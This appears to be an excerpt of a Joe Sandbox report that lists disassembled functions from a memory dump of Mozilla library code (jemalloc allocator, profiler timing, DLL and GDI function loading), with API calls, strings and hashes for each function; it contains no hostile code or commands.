Opcode Fuzzy Hash: 084590cc5b2411ea1d2c3c74300906cd8e9ca426b7b941279c59a152538afffb
Instruction Fuzzy Hash: 3352E8B1A003549FEB21DF24CC84BAA77B8EF4A744F104199E909B7641EB70AF95CF91

Function 6CC06FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E7DC), ref: 6CC07019
LeaveCriticalSection.KERNEL32(6CC5E7DC), ref: 6CC07061
EnterCriticalSection.KERNEL32(?), ref: 6CC071A4
LeaveCriticalSection.KERNEL32(?), ref: 6CC0721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CC0723E
EnterCriticalSection.KERNEL32(?), ref: 6CC0726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CC072B2
LeaveCriticalSection.KERNEL32(?), ref: 6CC0733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CC073E8
LeaveCriticalSection.KERNEL32(?), ref: 6CC0961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC09622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC09642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC0964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC096DB
AcquireSRWLockExclusive.KERNEL32(6CC5E804), ref: 6CC09747
GetSystemInfo.KERNEL32(?), ref: 6CC09792
__Init_thread_footer.LIBCMT ref: 6CC097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CC5E810,00000040), ref: 6CC097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC5E7B8,00001388), ref: 6CC09838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC5E744,00001388), ref: 6CC0984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC5E784,00001388), ref: 6CC09874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC5E7DC,00001388), ref: 6CC09895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CC09993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CC09933, 6CC09A33, 6CC09A4E
MOZ_CRASH(), xrefs: 6CC09B42
Compile-time page size does not divide the runtime one., xrefs: 6CC09B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6CC09BF4
<jemalloc>, xrefs: 6CC09B33, 6CC09BE3
MALLOC_OPTIONS, xrefs: 6CC097CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CC099BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CC099A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CC099D2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 030fde5cb99c7cabbd29110f01852db9569050bf9d0c5c3e2d51c8b81a5507b9
Instruction ID: 93188b221d38570d1ec4156689e4a2e2823349fd472739f5de18fa9cc6f87360
Opcode Fuzzy Hash: 030fde5cb99c7cabbd29110f01852db9569050bf9d0c5c3e2d51c8b81a5507b9
Instruction Fuzzy Hash: 9E536E71B057018FD708CF29C580715BBE1BF89328F29C6ADE8699B791E776E841CB81

Function 6CC1BCD4 Relevance: 88.5, APIs: 48, Strings: 2, Instructions: 1012
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1BA4B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC1BDEA
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC1BE0F
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 6CC1BE32
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 6CC1BE45
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?), ref: 6CC1BF39
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CC1BF4A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1BFAF
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1BFC0
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8,?,?,?,?,?,?,?,00000000), ref: 6CC1C062
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,00000000), ref: 6CC1C0D4

Part of subcall function 6CBF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B85
Part of subcall function 6CBF5B50: EnterCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B90
Part of subcall function 6CBF5B50: LeaveCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5BD8
Part of subcall function 6CBF5B50: GetTickCount64.KERNEL32 ref: 6CBF5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC1BED4

Part of subcall function 6CBF5C50: __aulldiv.LIBCMT ref: 6CBF5DB4
Part of subcall function 6CBF5C50: LeaveCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC1BEC3

Part of subcall function 6CBF5C50: GetTickCount64.KERNEL32 ref: 6CBF5D40
Part of subcall function 6CBF5C50: EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC1C0DF
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC1C0FA
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC1C1D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC1C232
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC1C2D3
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC1C2EA
GetCurrentThreadId.KERNEL32 ref: 6CC1C359
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1C366
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC1C37C
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,00000000), ref: 6CC1C3D6

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CC1C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CC1C7DA

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$Now@Stamp@mozilla@@V12@_$CriticalSection$ExclusiveLock$BaseCount64DurationEnterLeavePlatformReleaseTickUtils@mozilla@@$AcquireCounterCurrentFromMilliseconds@PerformanceQuerySeconds@ThreadTicks__aulldiv
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 2795269016-2789026554
Opcode ID: 4f68bc7744f444e6545ca6b751ca4698ef8e006c1c8c1ddc62e6d088d9592570
Instruction ID: d861ae4723c83f0f2036e7cab7d4457f543080b1edf5a71582a5d6f530c47081
Opcode Fuzzy Hash: 4f68bc7744f444e6545ca6b751ca4698ef8e006c1c8c1ddc62e6d088d9592570
Instruction Fuzzy Hash: C892A071A083808FC725DF29C49079FB7F6BFC9314F548A2DE499A7750EB7199098B82

Function 6CC10DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CC10F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CC10F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CC10FB7
EnterCriticalSection.KERNEL32(?), ref: 6CC10FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CC11031
LeaveCriticalSection.KERNEL32(?), ref: 6CC110D0
EnterCriticalSection.KERNEL32(?), ref: 6CC1117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CC11C39
EnterCriticalSection.KERNEL32(6CC5E744), ref: 6CC13391
LeaveCriticalSection.KERNEL32(6CC5E744), ref: 6CC133CD
LeaveCriticalSection.KERNEL32(?), ref: 6CC13431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC13437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CC13793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CC13559, 6CC1382D, 6CC13848
MOZ_CRASH(), xrefs: 6CC13950
Compile-time page size does not divide the runtime one., xrefs: 6CC13946
: (malloc) Unsupported character in malloc options: ', xrefs: 6CC13A02
<jemalloc>, xrefs: 6CC13941, 6CC139F1
MALLOC_OPTIONS, xrefs: 6CC135FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CC137BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CC137A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CC137D2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 82c1b1eae52c983da7d64f8f41da8969f22fa99552296e1bbbba091104501fb2
Instruction ID: 500979f488fe87223d12bba2a9229a0b4006ed46d7611040ec841876bc7a835e
Opcode Fuzzy Hash: 82c1b1eae52c983da7d64f8f41da8969f22fa99552296e1bbbba091104501fb2
Instruction Fuzzy Hash: B953AD71A097018FD304CF2EC550615FBE1BF8A328F29C66DE8699BB91E375E801DB81

Function 6CC355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CC0E1A5), ref: 6CC35606
LoadLibraryW.KERNEL32(gdi32,?,6CC0E1A5), ref: 6CC3560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CC35633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CC3563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CC3566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CC3567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CC35696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CC356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CC356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CC356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CC356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CC35716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CC3572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CC35748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CC35761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CC3577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CC35793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CC357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CC357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CC357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CC357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CC357FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6CC35637
SetWindowLongPtrW, xrefs: 6CC357B7
CreateSolidBrush, xrefs: 6CC357E4
CreateWindowExW, xrefs: 6CC356C5
StretchDIBits, xrefs: 6CC357CC
SetWindowPos, xrefs: 6CC356F7
gdi32, xrefs: 6CC3560A
GetMonitorInfoW, xrefs: 6CC357A2
GetDpiForWindow, xrefs: 6CC35690
ShowWindow, xrefs: 6CC356DE
DeleteObject, xrefs: 6CC357F9
GetSystemMetricsForDpi, xrefs: 6CC35677
GetWindowDC, xrefs: 6CC35710
ReleaseDC, xrefs: 6CC35742
MonitorFromWindow, xrefs: 6CC3578D
GetThreadDpiAwarenessContext, xrefs: 6CC3562D
RegisterClassW, xrefs: 6CC356AC
LoadCursorW, xrefs: 6CC35774
user32, xrefs: 6CC35601
FillRect, xrefs: 6CC35729
LoadIconW, xrefs: 6CC3575B
EnableNonClientDpiScaling, xrefs: 6CC35666

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 8888d620f86e1a3549b4e010ae5b9f292829505acb262c9023873598fcb77051
Instruction ID: 5934838e2153a1b596f86a27233c57b54743f9dffb73f45bb04a92ed69a859db
Opcode Fuzzy Hash: 8888d620f86e1a3549b4e010ae5b9f292829505acb262c9023873598fcb77051
Instruction Fuzzy Hash: E65165707017139FEB019F35AD5892A3EF8AB062457D49429AD56F2A42FBB4CD30CFA1

Function 6CC334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC3355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC3363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC3373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC3378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC33EE2

Part of subcall function 6CC36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CC361DD
Part of subcall function 6CC36180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CC3622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC3412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC34157

Part of subcall function 6CC36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC36250
Part of subcall function 6CC36180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC36292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC3441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC34448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC3484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC34863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC34878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC34896
free.MOZGLUE ref: 6CC3489F

Strings

, xrefs: 6CC34CD2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 7b6b4955c49f71ab23c89938eb8b29b5b42a597bf129f5137d4aa322b088e727
Instruction ID: 18a85b827312612f7fb37c9cbc7c466249c5abd8a4b53400b2bdea691ee705ba
Opcode Fuzzy Hash: 7b6b4955c49f71ab23c89938eb8b29b5b42a597bf129f5137d4aa322b088e727
Instruction Fuzzy Hash: 3EF25E74908B408FC725DF28C08469AFBF1FFC9318F518A5ED99997711EB329896CB42

Function 6CC1F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC1F09B

Part of subcall function 6CBF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B85
Part of subcall function 6CBF5B50: EnterCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5B90
Part of subcall function 6CBF5B50: LeaveCriticalSection.KERNEL32(6CC5F688,?,?,?,6CBF56EE,?,00000001), ref: 6CBF5BD8
Part of subcall function 6CBF5B50: GetTickCount64.KERNEL32 ref: 6CBF5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC1F0AC

Part of subcall function 6CBF5C50: GetTickCount64.KERNEL32 ref: 6CBF5D40
Part of subcall function 6CBF5C50: EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC1F0BE

Part of subcall function 6CBF5C50: __aulldiv.LIBCMT ref: 6CBF5DB4
Part of subcall function 6CBF5C50: LeaveCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC1F155
GetCurrentThreadId.KERNEL32 ref: 6CC1F1E0
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F1ED
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F212
GetCurrentThreadId.KERNEL32 ref: 6CC1F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC1F248
GetCurrentThreadId.KERNEL32 ref: 6CC1F2AE
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F2BB
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F2F8

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1F350
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F35D
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F381
GetCurrentThreadId.KERNEL32 ref: 6CC1F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F3A0
GetCurrentThreadId.KERNEL32 ref: 6CC1F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F491

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC1F3CF

Part of subcall function 6CC1F070: GetCurrentThreadId.KERNEL32 ref: 6CC1F440
Part of subcall function 6CC1F070: AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F44D
Part of subcall function 6CC1F070: ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC1F4A8
GetCurrentThreadId.KERNEL32 ref: 6CC1F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1F561
GetCurrentThreadId.KERNEL32 ref: 6CC1F577
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F585
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CC1F56A
[I %d/%d] profiler_resume, xrefs: 6CC1F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CC1F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CC1F499

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: d1addfacf58e51047436700b9249bf2e9ce9f57b73fe8dac68c48528755c2a31
Instruction ID: 4779f685c2b8297f7aba23568416a8824fad07eb9aad7cfc5348ea72a72d6bcc
Opcode Fuzzy Hash: d1addfacf58e51047436700b9249bf2e9ce9f57b73fe8dac68c48528755c2a31
Instruction Fuzzy Hash: 79D13A35708300CFDB04DF6AD4147AABBF4EB46328F94461AE955A3F80EB715828C7A6

Function 6CBE64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CBE64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CBE64F2
